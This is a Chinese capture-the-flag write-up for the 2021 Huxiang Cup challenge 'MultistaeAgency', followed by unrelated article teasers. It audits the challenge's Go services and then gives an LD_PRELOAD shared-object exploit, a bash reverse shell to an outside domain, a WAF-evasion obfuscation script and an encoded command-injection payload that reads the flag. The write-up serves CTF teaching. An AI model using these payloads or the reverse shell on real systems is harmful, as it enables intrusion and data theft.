[湖湘杯 2021 final]MultistaeAgency

文章目录


题目是给了源码,我们先来看web的main.go

package main

import (
	"bytes"
	"crypto/md5"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"math/rand"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)

var SecretKey = ""

type TokenResult struct {
	Success string `json:"success"`
	Failed string `json:"failed"`
}


const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
	b := make([]byte, n)
	for i := range b {
		b[i] = letterBytes[rand.Intn(len(letterBytes))]
	}
	return string(b)
}

func getToken(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	fromHostList := strings.Split(r.RemoteAddr, ":")
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	r.Header.Set("Fromhost", fromHost)
	command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
	for k, _ := range values {
		command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

	}
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	//res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	res := TokenResult{}
	if err = command.Wait(); err != nil {
		res.Failed = outerr.String()
	}

	res.Success = outinfo.String()

	msg, _ := json.Marshal(res)
	w.Write(msg)

}

type ListFileResult struct {
	Files []string `json:"files"`
}

// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {

	values := r.URL.Query()
	token := values.Get("token")
	fromHostList := strings.Split(r.RemoteAddr, ":")
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	// 验证token
	if token != "" && checkToken(token, fromHost) {
		dir := filepath.Join("uploads",token)
		files, err := ioutil.ReadDir(dir)
		if err == nil {
			var fs []string
			for _, f := range files {
				fs = append(fs, f.Name())
			}

			msg, _ := json.Marshal(ListFileResult{Files: fs})
			w.Write(msg)

		}

	}

}

type UploadFileResult struct {
	Code string `json:"code"`
}

func uploadFile(w http.ResponseWriter, r *http.Request) {

	if r.Method == "GET" {
		fmt.Fprintf(w, "get")
	} else {
		values := r.URL.Query()
		token := values.Get("token")
		fromHostList := strings.Split(r.RemoteAddr, ":")
		fromHost := ""
		if len(fromHostList) == 2 {
			fromHost = fromHostList[0]
		}
		//验证token
		if token != "" && checkToken(token, fromHost) {
			dir := filepath.Join("uploads",token)
			if _, err := os.Stat(dir); err != nil {
				os.MkdirAll(dir, 0766)
			}

			files, err := ioutil.ReadDir(dir)
			if len(files) > 5 {
				command := exec.Command("curl", "127.0.0.1:9091/manage")
				command.Start()

			}

			r.ParseMultipartForm(32 << 20)
			file, _, err := r.FormFile("file")
			if err != nil {
				msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
				w.Write(msg)
				return
			}
			defer file.Close()
			fileName := RandStringBytes(5)
			f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
			if err != nil {
				fmt.Println(err)
				return
			}
			defer f.Close()
			io.Copy(f, file)
			msg, _ := json.Marshal(UploadFileResult{Code: fileName})
			w.Write(msg)
		} else {
			msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
			w.Write(msg)
		}

	}
}

func checkToken(token, ip string) bool {
	data := []byte(SecretKey + ip)
	has := md5.Sum(data)
	md5str := fmt.Sprintf("%x", has)
	return md5str == token
}

func IndexHandler (w http.ResponseWriter, r *http.Request) {
	http.ServeFile(w, r,"dist/index.html")
}

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey = string(content)
	http.HandleFunc("/", IndexHandler)
	fs := http.FileServer(http.Dir("dist/static"))
	http.Handle("/static/", http.StripPrefix("/static/", fs))
	http.HandleFunc("/token", getToken)
	http.HandleFunc("/upload", uploadFile)
	http.HandleFunc("/list", listFile)
	log.Print("start listen 9090")
	err = http.ListenAndServe(":9090", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}

我们按照main主函数分析

  1. /token路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量
  2. /upload路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名,文件名是由RandStringBytes函数生成五位随机字符
  3. /list路由下调用listFile函数,根据传参的token值进行验证并列出上传文件

看proxy的main.go,开放在 8080 端口

package main

import (
	"github.com/elazarl/goproxy"
	"io/ioutil"
	"log"
	"net/http"
	"os"
)

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey := string(content)
	proxy := goproxy.NewProxyHttpServer()
	proxy.Verbose = true
	proxy.OnRequest().DoFunc(
		func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
			r.Header.Set("Secretkey",SecretKey)
			return r,nil
		})
	log.Print("start listen 8080")
	log.Fatal(http.ListenAndServe(":8080", proxy))
}

继续分析server的main.go

package main

import (
	"bytes"
	"crypto/md5"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"unicode"
)

// 检查来源ip为本地才继续执行

var SecretKey = ""

func getToken(w http.ResponseWriter, r *http.Request) {
	header := r.Header
	token := "error"
	var sks []string = header["Secretkey"]
	sk := ""
	if len(sks) == 1 {
		sk = sks[0]
	}
	var fromHosts []string = header["Fromhost"]
	fromHost := ""
	if len(fromHosts) == 1 {
		fromHost = fromHosts[0]
	}
	if fromHost != "" && sk != "" && sk == SecretKey {
		data := []byte(sk + fromHost)
		has := md5.Sum(data)
		token = fmt.Sprintf("%x", has)
	}
	fmt.Fprintf(w, token)
}

func manage(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	m := values.Get("m")
	if !waf(m) {
		fmt.Fprintf(w, "waf!")
		return
	}
	cmd := fmt.Sprintf("rm -rf uploads/%s", m)
	fmt.Println(cmd)
	command := exec.Command("bash", "-c", cmd)
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	if err = command.Wait(); err != nil {
		res = outerr.String()
	} else {
		res = outinfo.String()

	}
	fmt.Fprintf(w, res)
}

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey = string(content)
	http.HandleFunc("/", getToken)     //设置访问的路由
	http.HandleFunc("/manage", manage) //设置访问的路由
	log.Print("start listen 9091")
	err = http.ListenAndServe(":9091", nil) //设置监听的端口
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}
  1. /路由下调用getToken函数,检查来源ip为本地才继续执行
  2. /manage路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/拼接赋值给cmd也就是要执行的命令,然后bash执行

代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
在这里插入图片描述
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
在这里插入图片描述
所以我们上传后,payload如下

/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /

在这里插入图片描述
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)

我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
在这里插入图片描述那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage命令执行即可
bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'url编码一下,反弹shell
在这里插入图片描述

绕过waf的脚本如下

import sys
from urllib.parse import quote

# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:
    a = sys.argv[1]

out = r"${!#}<<<{"

for c in "bash -c ":
    if c == ' ':
        out += ','
        continue
    out += r"\$\'\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[2:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
    out += r"\'"

out += r"\$\'"
for c in a:
    out += r"\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[2:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
out += r"\'"

out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m是会与前面rm命令拼接,所以用分号;隔开,构造;cat /flag
然后分号编码一下为%3b,payload如下

curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/239589.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据库系统相关概念

数据&#xff1a;描述事务的符号记录。 数据库(DB)&#xff1a;按一定的数据模型组织&#xff0c;描述和存储在计算机内的&#xff0c;有组织的&#xff0c;可共享的数据集合。 数据库管理系统(DBMS)&#xff1a;位于用户和操作系统之间的一层数据管理软件。主要功能包括&#…

iframe 与主应用页面之间如何互相通信传递数据

背景 当我们的Web页面需要复用现有网站的页面时&#xff0c;我们通常会考虑代码层面的抽离引用&#xff0c;但是对于一些过于复杂的页面&#xff0c;通过 iframe 嵌套现有的网站页面也是一种不错的方式&#xff0c;。目前我就职的项目组就有多个业务利用 iframe 完成业务的复用…

【实用】sklearn决策树怎么导出规则

目录 一、什么是决策树模型 0.1 什么是决策树 02.决策树模型有哪些 二、在sklearn中怎么训练一棵决策树 三、什么是决策树的规则 0.1决策树的决策规则 02. 决策树的决策规则是怎么存储的 四、怎么导出决策树的规则 4.1 导出决策树文本规则 4.2 导出可视化决策树 4.3…

C++入门【3-C++ 变量类型】

C 变量类型 变量其实只不过是程序可操作的存储区的名称。 在 C 中&#xff0c;有多种变量类型可用于存储不同种类的数据。 C 中每个变量都有指定的类型&#xff0c;类型决定了变量存储的大小和布局&#xff0c;该范围内的值都可以存储在内存中&#xff0c;运算符可应用于变量…

初学python的体会心得20字,初学python的体会心得2000

大家好&#xff0c;小编来为大家解答以下问题&#xff0c;学了python的心得体会200字&#xff0c;初学python的体会心得20字&#xff0c;现在让我们一起来看看吧&#xff01; 本学期&#xff0c;我们学习了杨老师的《python语言程序设计》这门课程&#xff0c;其实早在大一期间…

【RTOS学习】模拟实现任务切换 | 寄存器和栈的变化

&#x1f431;作者&#xff1a;一只大喵咪1201 &#x1f431;专栏&#xff1a;《RTOS学习》 &#x1f525;格言&#xff1a;你只管努力&#xff0c;剩下的交给时间&#xff01; 目录 &#x1f3c0;认识任务切换&#x1f3d0;切换的实质&#x1f3d0;栈中的内容&#x1f3d0;切…

数据可视化:解析跨行业普及之道

数据可视化作为一种强大的工具&#xff0c;在众多行业中得到了广泛的应用&#xff0c;其价值和优势不断被发掘和利用。今天就让我以这些年来可视化设计的经验&#xff0c;讨论一下数据可视化在各个行业中备受青睐的原因吧。 无论是商业、科学、医疗保健、金融还是教育领域&…

Vue2笔记

笔记 脚手架文件结构 ├── node_modules ├── public │ ├── favicon.ico: 页签图标 │ └── index.html: 主页面 ├── src │ ├── assets: 存放静态资源 │ │ └── logo.png │ │── component: 存放组件 │ │ └── HelloWorld.vue …

三天精通Selenium Web 自动化 - 如何找到元素

1. 什么是元素&#xff1f; 元素&#xff1a;HTML 元素 2. 定位方式解析 Selenium WebDriver 提供一个先进的技术来定位 web 页面元素。Selenium 功能丰富的API 提供了多个定位策略如:Name、ID、CSS 选择器、XPath 等等&#xff0c;如下图所示&#xff1a; 一般会用ID来定位…

Jmeter 测试 MQ 接口怎么做?跟我学秒变大神!

MQ(message queue)消息队列&#xff0c;是基础数据结构 先进先出 的一种典型数据结构。一般用来解决应用解耦&#xff0c;异步消息&#xff0c;流量削锋等问题&#xff0c;实现高性能&#xff0c;高可用&#xff0c;可伸缩和最终一致性架构。 MQ 主要产品包括&#xff1a;Rabb…

华清作业day45

头文件&#xff1a; #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> #include <QTimer> #include <QTimerEvent> #include <QTextToSpeech> QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass…

Unity_ET框架项目-斗地主_启动运行流程

unity_ET框架项目-斗地主_启动运行流程 项目源码地址&#xff1a; Viagi/LandlordsCore: ET斗地主Demohttps://github.com/Viagi/LandlordsCore下载项目到本地。 启动运行步骤&#xff1a; 下载目录如下&#xff1a; 1. VS&#xff08;我用是2022版VisualStudio&#xff09…

2023年第十届GIAC全球互联网架构大会-核心PPT资料下载

一、峰会简介 谈到一个应用&#xff0c;我们首先考虑的是运行这个应用所需要的系统资源。其次&#xff0c;是关于应用自身的架构模式。最后&#xff0c;还需要从软件工程的不同角度来考虑应用的设计、开发、部署、运维等。架构设计对应用有着深远的影响&#xff0c;它的好坏决…

Facebook广告投放常见错误

在进行Facebook广告投放时&#xff0c;很容易犯一些常见的错误。这些错误可能导致广告投资的浪费&#xff0c;影响广告效果并降低回报。本文小编讲一些常见的Facebook广告投放错误&#xff0c;以及如何避免它们。 1、不明确目标受众 广告的成功与否很大程度上取决于你选择的目…

Vue 双向绑定:让数据与视图互动的魔法!(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

一天搞定jmeter入门到入职全套教程之Jmeter分布式测试

随着并发量的增大&#xff0c;一台机器就不能满足需求了&#xff0c;所以我们采用分布式&#xff08;Master-Slaver&#xff09;的方案去执行高并发的测试 注意事项&#xff1a; Master机器一般我们不执测试&#xff0c;所以可以拿一台配置差些的机器&#xff0c;主要用来采集…

Apollo配置发布原理解析

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;2022年度博客之星全国TOP3&#xff0c;专注于后端、中间件、计算机底层、架构设计演进与稳定性建设优化&#xff0c;文章内容兼具广度、深度、大厂技术方案&#xff0c;对待技术喜欢推理加验证&#xff0c;就职于…

C++ //习题2.5 请写出下列表达式的值。

C程序设计 &#xff08;第三版&#xff09; 谭浩强 习题2.5 习题2.5 请写出下列表达式的值。 (1) 3.5 * 3 2 * 7 - ‘a’ (2) 26 / 3 34 % 3 2.5 (3) 45 / 2 (int)3.14159 / 2 (4) a b (c a 6) 设a的初值为3 (5) a 3 * 5, a b 3 * 2 (6) (int)(a 6.5) % 2 …

波奇学Linux:Linux进程状态,进程优先级

编写一个程序模拟进程 查看进程状态 修改代码后发现进程状态为由S变成R R为运行态&#xff0c;S为阻塞态 第一次为S是因为调用了外设&#xff08;printf调用屏幕外设&#xff09;&#xff0c;实际上应该为R&#xff0c;S状态轮换&#xff0c;但是R太快了&#xff0c;所以每次…

使用docker编排容器

使用Dockerfile构建一个自定义的nginx 首先用docker拉一个nginx镜像 docker pull nginx拉取完成后&#xff0c;编辑一个Dockerfile文件 vim Dockerfile命令如下所示,FROM 后面跟的你的基础镜像&#xff0c;而run则是表示你构建镜像时需要执行的指令&#xff0c;下面的指令意…